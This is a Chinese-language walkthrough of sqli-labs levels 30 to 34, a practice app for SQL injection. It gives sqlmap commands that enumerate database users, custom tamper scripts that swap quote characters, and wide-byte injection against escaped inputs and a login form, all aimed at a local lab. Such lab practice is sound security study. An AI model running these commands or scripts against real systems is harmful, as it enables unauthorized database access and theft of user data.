Less- 30
和上一关一样先使用上一关的脚本跑一下
发现跑不出来了,看一下后端代码
按道理只是把单引号换成了双引号,sqlmap应该是会尝试双引号注入
但我怎么跑都跑步出来,尝试在脚本里面手动替换双引号
代码如下
#!/usr/bin/env python
import sys
import random
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
str_list = list(payload)
str_list.insert(0, '&id=')
payload = ''.join(str_list)
payload = payload.replace("'", '"')
return payload
python3 ./sqlmap.py "http://192.168.0.101/2022.10.26/sqli-labs-master/Less-30/?id=1" --technique=U --users --tamper=cx.py,air.py 再次尝试注入
还是失败,感觉是插入前面的问题了,那直接这样子注入
#!/usr/bin/env python
import sys
import random
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
payload = payload.replace("'", '"')
return payload
注入成功
就挺奇怪的如果不用手动替换双引号跑不出来?
尝试一下使用level参数
python3 ./sqlmap.py "http://192.168.0.101/2022.10.26/sqli-labs-master/Less-30/?id=1" --technique=U --users --tamper=air.py --level=2 #就跑出来了...,还是多使用一些它自带的参数吧..
Less-31
python3 ./sqlmap.py "http://192.168.0.101/2022.10.26/sqli-labs-master/Less-31/?id=1" --technique=U --users --tamper=air.py --level=2 直接跑就行了
只是换了闭合方式,使用")来闭合
Less-32
这关是一个宽字节注入,sqlmap有自带的脚本注入,unmagicquotes.py
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
将单引号,双引号转换为了\\
python3 ./sqlmap.py "http://192.168.0.101/2022.10.26/sqli-labs-master/Less-32/?id=1" --technique=U --users --tamper=unmagicquotes.py,air.py --level=3 #我这里是gbk编码
Less-33
和上一关一样只不过后端把使用的函数替换成了addslashe函数
函数返回在预定义字符之前添加反斜杠的字符串。
单引号(’)
双引号(")
反斜杠(\)
NULL
python3 ./sqlmap.py "http://192.168.0.101/2022.10.26/sqli-labs-master/Less-32/?id=1" --technique=U --users --tamper=unmagicquotes.py,air.py --level=3 #直接跑就行了
Less-34
是个登录框注入也是宽字节,得先抓包
执行命令
python3 ./sqlmap.py "http://172.17.0.1/Less-34/" -p uname --technique=U --users --tamper=unmagicquotes.py,air.py --level=5 --data="uname=admin&passwd=admin&submit=Submit" #这里前三个选项要选n